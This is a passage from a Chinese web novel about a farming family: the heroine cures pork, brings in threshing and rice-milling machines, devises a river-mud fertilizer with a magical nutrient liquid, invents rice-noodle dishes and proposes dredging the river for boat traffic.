取出烤盘自然冷却,再把肉脯切成同样大小的块状,原是做给郭守云作宵夜的,结果翠翠最爱吃,家里不缺肉,刘青青将里脊肉全部烤完,整整烤了十五公斤,留了五公斤给翠翠,剩下的装了两坛子密封,给郭守云带去府城。 还有腊肠。 刘青青做了三种腊肠,分别是豆腐血腊肠,风干腊肠,和烟熏腊肠。 南安府气候早晚风大寒冷,日间太阳晒。十天半个月就自然风干,但因为急着给阿云带走,因而刘青青还用了烟熏快速烘干法。 五花肉剁细后,加入少量的盐巴花椒粉草果粉,撒一点白砂糖提鲜。拌匀后用漏斗塞在洗干净的肠衣中,风干腊肠挂在廊下,约摸半个月风干后,就可收起长期保存。 剩下的腊肠挂在架子上,下面架起没有完全干透的松木柴,点燃后产生大量的浓烟,不停的熏制腊肠,直到干燥。 猪血豆腐肠比较麻烦,新鲜的猪血过滤掉其中的血块,放入捣烂的豆腐,加入佐料,炒香的花椒粉草果姜末,炸香的肥肉末,搅散的鸡蛋和盐巴,最后放入适量的温水拌匀,洗干净的猪大肠一端扎紧,另一端灌入猪血豆腐,九分满的时候扎紧另外一头。 锅里文火热水,轻轻把血肠放进去,小火煮半熟后用牙签扎几个小洞放气,等肠衣里的血完全凝固,灭火闷一会,取出放在凉水中过凉,最后挂在廊下风干。 除了肉脯和卤猪头、猪尾,这些是可以现吃的,剩余的必须腌制。 刘青青把猪身上每一块都安排得明明白白,猪蹄做成弥渡卷蹄,猪肚做肚包肉,猪腿制成火腿,排骨腌制成腊排骨,猪皮做成雪脆,肉块做成油肘肉。 晚饭很简单,雪白的猪皮雪脆,蒜苗小炒肉、猪杂汤。 每人一锅小砂锅饭,下面是颗粒分明的米粒,上面铺了一层烟熏腊肠片,青绿的黄豆米,橙红的胡萝卜粒。 米饭晶莹剔透,沾染了烟熏腊肠的烟熏味,有一股奇异的松木香,猪皮一点也不油腻,咬一口发出嘎吱的蹦脆响,又香又酥,还有小炒肉,深绿的蒜苗里躲着黄色的姜丝和切得肥肥的前腿肉,又香又鲜,完全没有腥味。 最后喝一碗猪杂汤,乳白色的汤汁中,躲着褐色的血块,乳白的肥肠,翠绿的芫荽,喝一口下去,又鲜又烫,浑身发汗,一声的疲惫随着汗液挥发,刘鑫表示,他还可以再弹二十床棉花。 次日一早,郭守云驾着马车,车厢里满满一车家里为他准备的行礼,大到铺盖蚊帐,小到零食肉脯,还有送给卢雪樵的特产,刘青青列了清单,一项一项对照着备齐的。 他闷闷不乐正要说我舍不得你们,翠翠麻利从从他腰间的小荷包里,掏出一块肉脯塞到自己嘴里,转着骨碌碌的大眼睛:“阿云哥哥,你的肉脯好像比我的好吃诶。” 棉花黑炭也眼巴巴的盯着他,腰间的荷包,流口水。 郭守云连忙捂住荷包:“你们赶快回去,家里一摊子事情呢,我走了!” 急巴巴架着马车出发,再呆一会儿,他包袱里的肉脯都要被翠翠棉花黑炭偷吃完。 等路上看不见他们的身影,苏氏有些惆怅:“哎,也不知道他能不能习惯!” 刘青青扶着她:“阿娘走吧,家里还有好多事情呢。过几日秋收完,我们一起去看他。” 棉花全部收回家,稻田里的稻谷等着收割,万一下雨发霉,一年的辛苦就白费了。 刘青青今日要把从铁匠铺子木匠铺子订做的零件,拼凑出打谷机、吹风机和碾米机,这两样简单的机械能为接下来的秋收省下无数的力气。 第89章 第89章试验 往年清水沟村子秋收水稻,是最 累人的时候。 选一天万里无云天气明媚的日子,请上村子里的十个壮汉,好吃好喝伺候着,妇人们在稻田里将稻谷齐根割断,男人们将稻谷连枝带叶一起捆绑好后,挑到路边,搬上驴车拉回家。 放在院子里暴晒半干,抱着稻谷用力在石板上摔打,直到把一粒粒稻谷敲下来,一日下来,最有力的汉子也得累得像瘫软泥。 今年大家出门,发现刘青青家稻田里有十五个女工,只有五个男工,大家都在嘀咕,莫不是他家男工寻得晚,所以没订到? 计划着等收了自家的稻谷,去她家帮忙,毕竟这一年来靠着她家赚了不少钱。 令人奇怪的是,她家还搬了一个方方正正的大盒子玩意到稻田里。 只见十五个妇人割着稻谷,五个男人,每人抱起一把稻谷,将稻穗伸进盒子口中,脚下用力踩动踏板,盒子里订满钉子的圆柱形滚筒便哗啦啦转起来,将谷粒一个个刮下来,掉落到后面的仓里。只要几下,他们把手中脱干净谷粒的稻草往旁边一扔,抱起下一捆来。 胖婶询问捆着稻草的刘青青:“这些草不要了么?”多浪费呀,可以带回家喂猪。 刘青青笑道:“要啊,一捆一捆扎好立在田地里,等晒干后再来拉,轻巧多了!” 不大一会,他们就收割完一亩田,照这样下去,一日收割二十亩毫无压力。 众人倒吸一口凉气,用了他们家的这个盒子,秋收将是一件简单的事情。 有心思活泛的,已经转开了,挤到前面拉着刘青青手:“阿青,把你家这个盒子借我们用一天呗!” 刘青青扒拉着手指头笑道:“胖婶,这个不叫盒子,叫打谷机,我去府城花大价钱打造的,不是不借你,里头用了许多精铁,精密的凑在一起,一不小心弄坏了得请府城的工匠来修。这样,满仓叔已经学会简单维修打谷机,不如聘请他们打谷队帮你们家收割稻谷。” “多少钱一亩啊?” “五十文收割一亩。” “这么贵啊?” “婶子,钱不是这么算的,你想哇,他们一天就能帮你家把稻谷收完,若换了你们自己来,是不是得五六天,多出的五天,买肉买菜也不止这点钱,而且这天气也不知道哪天就下雨,把谷子尽快弄回去晒干存放,心里才踏实不是?” 去年自己男人,因为秋收挑稻子的时候扭了腰,整整吃了一个月的药。胖婶止不住的心疼,这把年纪,不稀罕男人,主要是肉疼买药钱。 而今年只用在家等着收谷子,想想都挺美,她立马拍板:“行,阿青,你帮我告诉满仓,让他明日去我家田了收谷子啊。一定啊,别忘了” 这样的对话重复了无数次,刘青青掏出随身的小本子,一家一家记下来。 第一日刘青青招揽生意,后面换成刘有山,他骑着小矮马,到田埂上统计亩数。 刘有山之前的护苗队,改头换貌变成了收谷队,总共十台打谷机,每队配二十个人,十五个妇人,五个汉子组合, 以秋风卷落叶的速度,快速的抢收。 打谷队用的全是清水沟的村民,等收完稻谷统一算账,每一个工40文钱每天,也就是说,清水沟的村民往年累死累活忙一个月,只收得掉自家的稻谷,今年呢,花点钱,一天就能把稻谷收回家,留一个人翻晒,剩下的劳力应聘到打谷队,没有往年劳累,但事情做完了,还能赚点钱。 清水沟村打谷队在常平县快速蔓延,队伍越来越大。 腾出手的刘青青采购了大批的蚕豆,选种催芽。 常平县的地处南方,收割了稻谷的水田,插种上蚕豆,来年开春,又能收获一波粮食。 刘青青买来一批蚕豆种子,选出其中大颗饱满的,按照往年的习惯泡在草木灰水中,再悄悄兑上自己的小水枪。 等蚕豆种子胀开个缝,露出一个肥敦敦的牙尖,就能插种。 一般来说,牙尖越肥厚,代表着这颗豆子将来的生命力越强。 苏氏看到刘青青育的种,大吃一惊:“我们家风水果然是好,我头一次见到种子出得这么整齐精神。” 打谷队打完谷子,刘有山顺便把刘青青育好苗的豆种给主人家一看:“我们家从府城购买回来的优质豆种,可以提高亩产量喏,要不要来几斤?只要十文钱一公斤。” 只要看见他们家的豆种,没有不喜欢的,自己买的种子也要十文钱,买哪里的不是买呢? 刘青青的蚕豆种子又大卖了一笔。 她大批量的购买蚕豆种子,只要七文一公斤,被草木灰水泡过的蚕豆种子,一公斤能泡到一斤半,卖15文,相当于赚了个对本。 她赚到了钱的同时,还积累了大量的人脉。 知道她家帮忙秋收,出售的种子质量好,村民们争相上门预约或订购种子,其他村子往往是村长或族长上门,无形中和各村村长族长混了个脸熟。 最重要的是,因为频繁使用小水枪,刘青青模模糊糊感觉,她的小水枪要升级了,但总还差一点契机。 她没有资料可查,没有先辈可以请教,只能自己摸索,因为大批量的使用小水枪才让她摸到了门槛,她越发不停的使用小水枪培育豆种,每日吃下的食物,是原来的两倍,还一直感觉到饿。 因她食量变化太大,倒把苏氏吓了一跳,压着她去县城看大夫,大夫再三的保证,她只是到了青春期,正在长身体,所以能吃,身体棒棒的,大家才放了心。 回到家的刘青青琢磨着,她现在,看一眼蚕豆种子的品貌,就能熟练兑上合适的小水枪营养液,那要是换一换种子呢? 秋收后,水稻田里插种蚕豆,旱地可以选择的更多:小麦、豌豆、荞麦、青稞,还有木薯等都可以播种。 不过,因为这些种子必须躲在土地了,越过寒冷的冬季,到春天才冒芽儿,像蚕豆那样,直接将种子泡到营养液里,显然不行,那会让种子提前发芽,冻死在寒风中。 牛奶可以风干成奶粉,那她的小水枪营养液,能不能变成粉末呢,与种子一起种下,等开春积雪融化,粉末泡了水,不就化成了营养液么? 所以,苏氏们发现,刘青青这几日有点反常,不仅变成了大胃王,还喜欢弄一盆白水在锅里煮,她眼巴巴坐在一旁盯着。 听苏氏说了她的异常,刘慧兰晚间从青华楼回来的时候,带了满满一筐城里才有的甜饮,一一摆放摆在她的面前:“阿青哪,我把城里能买到的甜饮都带回来,你尝尝看,喜欢哪一种?” 刘青青嗯了一声,脑子里想着小水枪的事,无意识的尝着瓷碗里五颜六色的甜饮。 刘慧兰看了她一眼,刘青青捧在手里的是凉茶,她之前从来不喝的。 刘慧兰抿了抿唇角,左右张望了一下,递了一沓银票给她,压低声音继续道:“运到青华楼的松茸菌已经和遇仙楼交割清楚,他们给了一万两的尾款,你收好。” 刘青青随意将银票塞在怀里。 不正常,二妹太不正常。 她竟然喝了最讨厌的凉茶,还把最喜欢的银票随意塞到怀里,按照她以往的习惯,她应该呸呸呸一口吐了凉茶,接过银票后喜滋滋的数两遍。 难道二妹妹掉了魂? 她不动声色的试探,拉着她的手:“阿青,我还买了你最爱的藕粉,煮一碗给你?” 刘青青随意道:“阿姐,你记错啦,我最爱的是芝麻糊,翠翠才喜欢藕粉,你煮给翠翠吧。” 刘慧兰露出释然的笑,行吧,芯子里刘青青没错了,估计是太牵挂阿云才心不在焉的。 刘青青完全没感受到刘慧兰的担忧和试探。 她挫败极了,她煮了三次,营养液煮干后,锅差点烧个洞,但里头什么都没有,也许里头的物质随着水蒸气一起蒸发掉了。 听到刘慧兰说起芝麻糊,她灵机一动,可不可以将营养液兑在草木灰里,再烘干呢,这样有效物质,会不会存一些在草木灰里。 说干就干,她躲着弄了一杯营养液,兑上草木灰,然后放在锅里炒。 为了作对比试验,她还弄了点泥土,还弄了点腐殖土。 当苏氏刘慧兰看见锅里的水炒草木灰,文火烘泥土,干闷臭黑土,几乎要窒息。 之前刘青青费柴火烧空锅看水蒸气玩,她都不说什么,毕竟农家人柴火多,小孩子总有个发傻的时候。 现在呢,她干脆在锅里玩泥巴,还玩臭粪土,她做饭的时候,想象到每一个菜里都有腐殖土的味道。 刘青青不是生病,是叛逆期到了! 苏氏扯着她的耳朵:“刘青青,你是要上天!” 刘青青尴尬的捂着耳朵不吭声,她一时心急做实验忘记了,小心陪笑:“要不,我多洗三遍锅!” 苏氏恨得牙痒痒:“你去后院玩儿,不准你再进厨房!”转身使唤刘有山在后院砌了个灶台,把锅搬过去,还贴心的配了几个不要的磁盘,碗筷。 算了,女儿一向早熟,难得有淘气的时候,让她玩个够!谁还没有玩过家家的时候呀。 不就一口锅么,家里现在条件好,重新买一口新的去。 第90章 第90章卖种子 刘青青反复试验,她的营养液兑在腐殖土里,烘干后裹在麦子种子上,能提高种子的发芽率和生命力,农作物更耐寒抗虫。 说明她的思路是对的,营养液的有效成分可以保持在腐殖土中。 腐殖土是从粪坑里采集的,平时的垃圾,灰尘,牲畜粪便,落叶,等等全在里头发酵后形成,富含植物生长的各种营养成分,但是,味道实在太冲鼻子,而且每户人家只有一个粪坑,她的种子出售的话,需要大量的腐殖土,根本不够啊。 刘青青把眼光放在了清水河。 清水沟缓缓流淌,河底攒了厚厚一层黑漆漆的淤泥。 上游森林地表冲刷的营养成分,顺着雨水沉在河底,还有鱼虾的排泄物,水草的枯枝败叶,经过这么多年的堆积,是天然的肥料,完全可以捞出来代替腐殖土。 最重要的是,河流生生无息,淤泥取之不尽。 令人失望的是,取出来的淤泥黏乎乎的,兑上营养液烘干后会板结成块,即便她一一捏碎,浇一次水以后,继续板结。躲在下面的植物无法呼吸,全都被闷死了。 难怪这么多年没有人去捞淤泥作肥料。 既然不通气,加点通气的进去不就行了。 刘青青把稻草用闸刀切成碎末,和淤泥搅拌在一起,解决了透气的问题。 新的问题又出来了,淤泥酸性太重,营养液催种的苗有一定的成活率,普通种子几乎全军覆没。 好吧,缺啥补啥,刘青青又兑上合适的石灰粉,中和酸性,顺便灭菌。 经过刘青青反复折腾试验,十份淤泥,兑上一份草木灰,一份腐殖土,一份稻草碎,半分石灰粉,一杯营养液,再适当加热发酵烘干,就成了细腻透气的肥料,与种子一起洒在地里,小水枪的营养液提高种子的发芽率,抗病率,淤泥本身富含的无机盐有机盐为植株提供足够的营养成分,冒出地表的小苗吃得饱饱的,肥嘟嘟翠绿可人。 成了。 刘青青乐滋滋喊来一家人参观她的试验成果:六块小苗圃。 刘有山瞥了一眼,瞪大眼睛盯着最后一块苗圃,里头头挨着头挤满了星星点点的绿芽,“闺女啊,你是把野草挖来种苗圃了么?” 只有野草有这样的生命力,晚秋时候依旧生机盎然。 刘青青一头黑线:“没有啊!” 她得意的昂了昂下巴:“这里头全是豌豆芽。” 小姑娘颠颠捧来一盆灰褐色的细腻泥土,语气里全是压不住的亢奋:“我掺了好几样土混合在一起烘干,和豌豆种子一起种下去,浇了水后种子就发了这么多的芽。” “喏,那几块分别只用了一种土种的豌豆。” 大家把目光集聚到另外五块地,黄褐色的土地上,偶尔一两颗战巍巍的瘦苗在晚秋的萧风中孤零零发抖,要不是她说这是豌豆苗,大家都当做空地上的野草。 在回头看看刘青青脚下的苗圃,密密麻麻的嫩绿小芽儿越发可人,精神气十足。 苏氏恍然大悟:“原来你在锅里炒各种土是为了配肥料,不是玩过家家?” 刘青青无语:“阿娘,我都这么大了,玩儿什么过家家哦!” 刘慧兰看着绿央央的豌豆苗:“再过五六天就能吃到嫩嫩的豌豆尖,掐一把洗干净烫了吃,打一块豆腐,那味道,清甜,能在冬天吃到春天的味道!” 一旁刘有山咂摸了一会,总算抓住了主题:“阿青哪,你配这个肥料,能量产么?” 刘青青就等这句话:“当然能,清水河河底的淤泥是主要成分。 苗圃里全靠我浇水才早早发芽。肥料和麦子一起种到山地里,冬天下雪盖住土地,麦种冒芽,开春雪水融化浇灌,来年大丰收。” 往年清水沟的百姓们也种麦子,不过和草木灰,或者粪肥一起种在地里,稀稀拉拉长一些出来,占着地不让野草乱窜,多少有点收成,但刘青青的肥料,出芽这么整齐,估摸着产量不会低。 刘有山在外替人喷药打谷子,见多识广。 清水沟村背后后山,能狩猎补充,日子还算过得去,别的村子有些人家,全指着地里的出息,收成不好,一年到头没有肚子能吃饱的时候。 刘有山领略了她的意图,刘青青补充道:“阿爹,除了出售豆种外,你们继续出售混合了肥料的麦种。 顺便放出风声,我们家收购淤泥、腐殖土、草木灰,有多少要多少!”少量的石灰药铺里买,大量的石灰砖窑里才有。 刘青青原本是为了升级小水枪,为了不浪费营养液,阴差阳错配出了肥料。 这些天她忙于配肥料,倒忘记了升级的事。 这天晚上她再次将小水枪营养液放得一干二净配肥料,狠狠吃了一大碗面条后,累得昏头大睡,第二天起床,她立马感觉到小水枪的不同——有了选择功能。 原来她的手指一次只能放出一杯水,现在能放出一盆。 她隐隐能导向营养液的功能,就是太耗费精力,用一次吸走了她全身的精力和智商,要在床上昏睡一整天,后面几天脑袋里感觉进了一层水,浑浑噩噩的。 幸好她有预见,试验前提前和苏氏打了招呼,要睡两天懒觉,才没有吓到大家。 之前的小水枪育苗提高发芽率,发芽后的小苗们完全自由发挥生长。 现在,她大约能导向一下种子们生长的性状,比如豌豆苗,她浇灌小水枪的时候,可以选择让豌豆朝满荚长,或者朝口味清甜里长。 直白点说,现在的营养液她有两个选择,偏产量,或者偏口味,或者像原来那样,随机。 在她对苗圃里的豌豆试验过一次后,不敢胡乱尝试,小水枪就像大型游戏,而她是配置低的电脑,身体不够强大,多弄几次二级功能,只怕她就要被烧掉。 她老老实实用一阶功能,虽然不能选择,但是,随机突变,才充满期待.他们家院子的葡萄变成阳光青提就是这么来的。 化肥的大规模生产上出了个问题——稻草碎末不够用。 刘有山家家户户跑着去收购稻草,修养了一段时日的刘青青智商恢复,后知后觉道:“我们也可以用米糠啊!” 她跑到仓库里,搬出订做的碾米机和风箱组装起来。 稻谷收回家晒干后,通风干燥储存在粮仓里,保存五六年不变质,要吃的时候,需要到村头的大石臼里舂米。 秋收后没事做,大家都喜欢背着一袋子谷子到村头,一边闲话家常,一边互相帮忙舂米,需要几人轮流踩桩——这是个力气活。一人翻捡石臼里的稻谷。往往忙碌一日,才得一袋子。 刘青青订做的碾米机,用的是牲口,将谷子从入口倒入,大青驴带动齿轮,里头的铁质磨盘旋转,将稻壳磨掉,流出混合着稻壳碎末和白花花的大米。 再把大米谷糠的混合物倒入风箱口,转动手 柄,谷糠被吹走,只流下泛着荧光的大米。 石臼舂出来的大米容易碎,价格上不去,其中挑出那些颗粒饱满无损的大米价格居高不下。 用碾米机磨出来的大米,碎米很少,不到十分之一。又快又省力,还省钱。 一公斤谷子单卖4文,能出3两米糠,4两碎米,3两大米,碎米5文一公斤,大米10文一公斤,米糠1文两公斤,合计能卖5.15文 刘家的磨坊里,一公斤谷子,能出2.5两米糠,1.5两碎米,6两大米,合计6.875文。 米糠留在磨坊的话,两公斤谷子收一文钱的碾米费,若带走米糠,收一文钱一公斤加工费。 今年大家都喷了药,稻谷产量大,每家当家的合计了一下,足够一年的吃喝还有点剩余,不用再吃糠饭,而且卖蚂蚱、卖菌子手里有余钱,也不想再苦自家的嘴巴,都把米糠卖给刘家。 刘家的磨坊里筹集了大量的米糠,刘青青用米糠代替稻草碎末做肥料。 肥料发酵的味道大,刘青青特意找村长在下风口河边买了十亩地,专门发酵肥料出售麦种,豌豆种,苦荞种这些种在山地的种子。 价格比市面的稍微贵,要12文一公斤。 大家这一年来跟着他们家都攒了钱,顿顿吃米饭,还舍得买肉买点心,大多数村民们乐意多花两文钱,来他们家买种子。 这一摊子事情走上正轨后,刘青青让大春管着磨坊的账,三财叔家的孙姨,领着他们家三个儿媳负责磨坊的事。 刘青青让刘满仓领着10个长工发酵配比肥料,她只用每日巡视的时候,将事先准备好的营养液借着泼水,倒进发酵坑。 收购淤泥,出售种子这些事情,依旧给刘鑫和刘有山来做,赵二贵从许美仙和离的打击中回过来,现在也在作坊里,帮忙送货。 这日,刘鑫和赵二贵找到刘青青苦着脸:“阿青哪,隔壁吉祥镇订了一大笔肥料种子,一天内送到,怎么办啊?” “是仓库里的肥料种子不够了么?” “不是,是马车的运费又涨了,不是涨了一点,涨了几乎一倍,再这样下去,我们吃啥啊!” 刘青青真没打算卖肥料种子赚大钱,她主要是想让百姓们享受到小水枪的功能,用上高产的种子,家家吃饱喝足,顺便给身边帮忙的人赚点辛苦费。 这样下去成本变高,势必要提价,大家不来买种子,白白浪费了她的一片心意。 她紧紧戚着眉头:“先辛苦大妞二妞一趟,我想想办法!” 让大妞二妞拉车,那是把法拉利当拖拉机使唤,她是真的心疼。【你现在阅读的是 】 90-100 第91章 第91章过船费 从青华楼回来的刘慧兰,找到刘青青:“阿青,楼里的菌子都吃完了,菊蓟下了市,只剩一个招牌菜——烤鸭,因为烤鸭可以外带,入座率降低了许多,是不是上点新菜式?” 刘慧兰试着做了点其他的菜,她做饭手艺还可以,但比起其他酒楼那些经年的厨子,差了些火候。 刘青青琢磨了一下:“我早就准备好了!” 她带着刘慧兰的到厨房,指着桶里:“今年稻谷丰收,市面的的碎米价一跌再跌,我们就用碎米做米线来卖!” 刘慧兰不解:“米线有什么好吃的?”不就是把米变成线条一样么。 刘青青:“……” “我们先做出来,让大家吃吃看再说!” 两人合力将泡好的碎米倒入磨盘,大青驴拉动,碎米磨细变成米浆水流出来,刘青青放了纱布过滤,清水流走,纱布上留下一层雪白的米粉。 过滤完的米粉加入少量开水增加黏性,捏实成米团,塞入压模器中,转动摇柄,米粉变成一根根光滑的米线,晃悠悠从压模器的小孔里挤出来掉入开水锅里。 刘青青看着沸腾的开水,暗暗在心中数到十,筲箕下锅捞出所有米线,换到冷水盆中降温后捞起控干水分。 黏糊糊的米粉掉入热水锅,淀粉糊化反应,变得筋道弹韧,在冷水中冲洗掉表面的淀粉,变得爽滑。 做好米线的时候,正逢下午,不到晚饭时候,按照以往的习惯,饿了肚子的刘青青只能煮点面条垫吧垫吧,不过今天有米线了呢。 她先抓了一把米线在盘子里,四周摆上橙红色的胡萝卜丝,切一点翠绿的青笋丝,锅里蒸熟的风干腊肠,切成红色的薄片,最上面撒上香葱芫荽熟韭菜,淋上蒜泥水,少量糖水,酱油,花椒油、茱萸油,鸡枞油,花生碎,顺手将手里剩余的青笋,雕刻成个凤凰安置在最顶端,一盘凉米线就做好了。 刘慧兰眼里冒着星星,二妹总是心灵手巧。 各种普通的食材,在她随意的摆放下,产生了其妙的变化。 一大盘的米线,像火山一样堆着,最里头是雪白的米线,四周铺上的蔬菜像山腰上绿的树,红的花,最上面红彤彤的茱萸油,如同火山口里翻滚的岩浆,还卧着一只振翅欲飞的凤凰,五颜六色,鲜艳夺目。 刘青青拿了双筷子给她:“阿姐,愣着干嘛,快尝尝啊!” 她撩起袖子,三两下便把米线和佐料翻拌均匀,白皙的米线上均匀的裹上各种调料,刘青青分了一碗给她,端起自己那碗唏哩呼噜嗦起来。 舒喟的叹了口气,最近总是饿,终于吃饱了。 刘慧兰夹了一根尝了尝,米线爽滑弹韧,带着大米的清香,搭配各种佐料后,胡萝卜的甜,青笋的脆,麻辣滑香在舌头上层层爆发,给人极其愉悦的体验。 刘青青神秘兮兮道:“阿姊,我在府城发现了一种新调料,等成熟采收后加进去,保证吃过的人念念不忘!” 刘慧兰斯文吃完自己的那碗米线,簌了口,才提出一个致命的问题:“阿青,这凉米好是好吃,但现在天气慢慢变冷,大冷天吃凉的,只怕客人不多。” 刘青青嘿嘿一笑:“阿姊哪,米线的吃法变化无穷,这只其中一种选择,也该准备晚饭了,我们今晚就只吃米线,你瞧好咯!” 天黑时,苏氏等人回到家,发现桌子上摆满了小小的蘸水碟子,里头五颜六色,盛了一点点菜蔬:绿色的熟韭菜,金黄的脆豆芽,白色的雪脆,红色的腊肠,橙黄的胡萝卜丝,淡粉色的酸萝卜丁,大块的鸡胸肉……这些还算正常,但还带着水汽的生豌豆尖,在碟子里头晃悠悠的橙红色鹌鹑蛋,纹理分明的生里脊肉,金黄色的野菊花花瓣,是几个意思,今晚是要吃生菜么? 字面上的生。 刘有山一言难尽的问刘青青:“阿青,你又出什么幺蛾子?” 现在是晚秋,女儿弄这些摆在桌子上,花花绿绿一桌子,小碟子整整齐齐排成行,看着赏心悦目,可是是凉的啊,适合看不适合吃。 只是家里人在一起吃饭,也要这样有仪式感么? 山里的动物秋天在养膘呢,他也要贴点膘。他就想喝点热乎乎的汤,啃两块肥腻腻的肉。 “别急,来了!” 刘慧兰用托盘每人发了一个有头大的的砂锅,里头是乳黄色的汤汁,上头飘了几颗红色的大枣,白色的葱段,看着平平无奇。 刘有山伸出筷子捞了捞,真的只是汤,里头没有躲着他心心念念的肉。 他疑惑的看着刘青青,看她能变出什么样的花来。 刘青青和刘慧兰上完菜,坐到自己的位置上,抬起生的里脊肉小碟便倒进砂锅里,然后挑选了喜欢吃的生里脊肉,豌豆尖,再放上豆腐皮丝豆芽等小菜,最后倒入了一碗米线,加上一点自己喜欢的调料,用筷子拌了拌,平平无奇的汤汁,立马散发出一股奇异的鲜香。 她夹起里脊肉晃了晃:“诺,肉变熟了哦!” 众人有样学样,各自挑选自己喜欢的小菜加进去后,放入调料。 她解释:“砂锅里的汤是用老母鸡和筒子骨文火熬煮出来,在锅中翻滚舀入砂锅,热气被浮在表面的鸡油封住,小心烫哦” 她说晚了! 刘有山做好后,忍不住夹起一片里脊肉 尝了尝,被烫得差点跳起来,但他舍不得吐掉,因为实在太鲜嫩多汁了。 他被嘴里的里脊肉征服,这是他这辈子吃过的最嫩的里脊肉,里头还有浓浓的汤汁,鲜嫩香浓奇妙的集合在一起。 吃完里脊肉后,他捞出里头的鹌鹑蛋,流动的蛋液完全凝固,变成雪白的蛋白,里头躲着黄色的蛋心,一口一个,别提多带劲。 飘在汤汁上的雪脆,吸收了一点汤汁后,变得酥脆多汁,是的,你敢想象么,竟然有一种食物,酥脆的同时,还能一□□浆。 他最后才吃米线,雪白的米线一条条吸溜一嘴,入口是大米的清香,却比米饭多了爽滑弹韧有嚼劲,实在太过瘾了。 这一顿晚饭,各个吃得满头大汗,酣畅淋漓。 刘有山擦了擦头上的汗:“这个菜式叫什么,是不是准备在青华楼上?”他头一次见把黄色的野菊花放在汤里吃的,不得不说,放好配菜的米线中,各种颜色鲜艳的配菜躲在汤汁里若隐若现,表面漂浮的红色的大枣,金黄色的菊花辨,翠绿的芫荽,赏心悦目,一下子戳中那些文人书生的心。 刘青青点点头:“这个叫过桥米线,味道鲜美,吃法新颖,还充满仪式感,准备在二楼,一楼就吃点平常的米线就行,比如小锅米线,臭豆腐米线等等。” 确定了大方向,刘青青将细节交给刘慧兰去完善,她准备了一篮子的米线,从罐子里取出一只弥渡卷蹄敲响了县衙的大门。 她是来提前还款的。 之前欠了府衙244两银子,她现在随手就能拿出来,提前还款利息照常支付,这点利息她必须得出,因为,她想要重新借一大笔钱。 府衙后院的花厅里,温如初、史居正、杨雪眉和两个孩子,与刘青青同桌而坐,吃着她带来的过桥米线。 温家大户人家出身,吃饭的规矩多,饭桌上静悄悄的,不过从温一鸣两个孩子亮晶晶的眼神可以看出,他们对这顿饭的满意。 饭后茶毕,换到议事厅,史居正打趣她:“阿青姑娘,你弄的喷药队,打谷队,碾米坊帮了老百姓的大忙,减轻了老百姓的负担,我们大人很是欢喜。你今儿来,不会只给我们尝一尝你的米线吧,可是有什么我们能帮得上的?” 所以说,人家这么能当师爷呢,这脑子,望叶之秋。 刘青青嘿嘿一笑:“大人,先生,我确实有个想法,能大大的提升我们常平县的经济水平!” 温如初虽然没吭声,但他的背脊不自觉的挺直了些。 史居正:“哦?” 刘青青道:“大人,我们平安镇这半年来飞速发展,特别是我们村,因为卖蚂蚱粉,卖菌子,户户有余粮,黄泥塘村一样,卖菊蓟和鸭子,家家都吃上了大米饭。” “只要肯发现,其实每个村子多少都能找出点特产来换钱,但是,长长的运输路程提高了百姓的风险和成本,才导致大家龟缩一方,若我们把清水河疏通后能走船,从平安镇到常平县只要半个时辰的功夫,其他镇也是一样,那我们常平县的特产,是不是就能卖到府城,卖到全国,无数的铜钱将流向我们常平县,流到每一户人家!” 温如初面色变得严肃,这是个大问题。 史居正提出了一个致命的困难:“百姓们每三年就要服兵役,朝廷下了死命令,不准再给百姓摊派苦役,若衙门出面组织清淤,一定会引起暴动的。” 到时候,温大人一个欺压百姓,苛捐杂税的帽子扣下来,谁也救不了。 刘青青笑道:“我们不摊派苦役啊,我们出钱请百姓来清淤。或者按照河段承包给愿意清淤的团队” 趁着冬天枯水期,把清水河清理出来,来年雨季浇灌周边的田地,上游不再干旱,下游不会洪涝。 二来可以走船,用河运代替陆运,省钱又省力。 史居正戚眉:“可是,衙门垫付了这么一大笔钱,从哪收回来呢?难道让我们大人出自己的银子填这个窟窿?” 刘青青笑得一脸诡异:“这简单,我们弄个关口,按船只的大小收过船费啊!” 第92章 第92章人模狗样 夜幕四合,刘家的厨房里亮着温暖的烛光,刘青青到县城有事,刘慧兰忙于青华楼上新,苏氏学堂上课,今晚的晚饭,是暂时有空闲的刘有山做的。 他做得相当简单,四菜一汤。 廊下风干的腊肠切一断下来,胡乱切片一股脑堆在盘子里放在甑子头上,顺便从坛子里捞几个咸鸭蛋放进去,盖上锅盖,锅里冷水入锅,将墙角的带着霜的老南瓜弄一个,去皮扣心,切块丢在锅里,甑子罩上去,加水将甑子下沿淹没。 锅洞了塞两截柴火,橘黄的火苗滚烫的拥抱锅底,一会儿便将锅里的水烧开,底层煮南瓜,水蒸气顺着甑子上行,将米饭和腊肠鸭蛋蒸熟,一次完成了煮菜蒸菜蒸米饭。 中间没事干,他绕到后院,从刘青青的苗圃里褥一把肥厚翠绿的豌豆尖,打一桶井水随意摆动两遍后便干干净净。 回到厨房,甑子已经上气,和小伙伴玩耍回来的翠翠,带着棉花黑炭摸到厨房,嘴巴里喊饿,他从甑子里捏了三个饭团,让她用筷子插着,一边啃一边规规矩矩坐在锅洞旁烧火。 两小只有样学样老实趴在旁边,一只一个饭团。 他将甑子端到桌子上,锅里的南瓜装盆,洗干净锅后,添点水烧开,丢入几粒姜丝,切一块嫩嫩的豆腐,洒下豌豆尖滚一圈,挖一勺雪白板结的猪油进去烧化后起锅盛入汤碗。 锅里下油滑锅,葱姜蒜随意放,韭菜弄一点,米线抓一把进去翻炒,添点盐,嗯,行了,又是一道菜,翠翠嫌弃他做饭粗糙:“阿爹,你做这个能吃么?” 刘有山夹了一筷子塞到她嘴巴里:“绝对好吃,这道菜还有个特别的名字,叫蚂蚁上树。” “白色的米线像我们后山特有的白蚂蚁,绿色的韭菜和大树差不多,这些蚂蚁啊,特别喜欢爬到树上去做窝!” 翠翠尝着嘴里香滑的米线,习惯性质疑:“我咋没见过白色的蚂蚁,你肯定又骗人!” 刘有山一边摆桌子取碗筷,一边笑道:“臭丫头,阿爹啥时候骗过你,等着,过几日我领你进山抓一点回来,白蚂蚁蛋特别好吃!” 正说着,其他人都到了家,洗完手的苏氏坐在凳子上看着桌上的菜嫌弃的撇嘴:“说了多少次,腊肠要切成薄薄的,你看看你切这个,一片足有指头粗,费牙!” 刘有山也不生气,笑呵呵反问:“我嚼细了喂你?” 刘青青翻了个白眼:“阿爹,你们可不可以不要这样腻歪!” 她夹起两截足有拳头长的腊肠喂给桌子底下的棉花黑炭,自己捡了一块只有脚拇指粗的腊肠啃着,一嘴咬下,油水滋啦,咸香四溢。 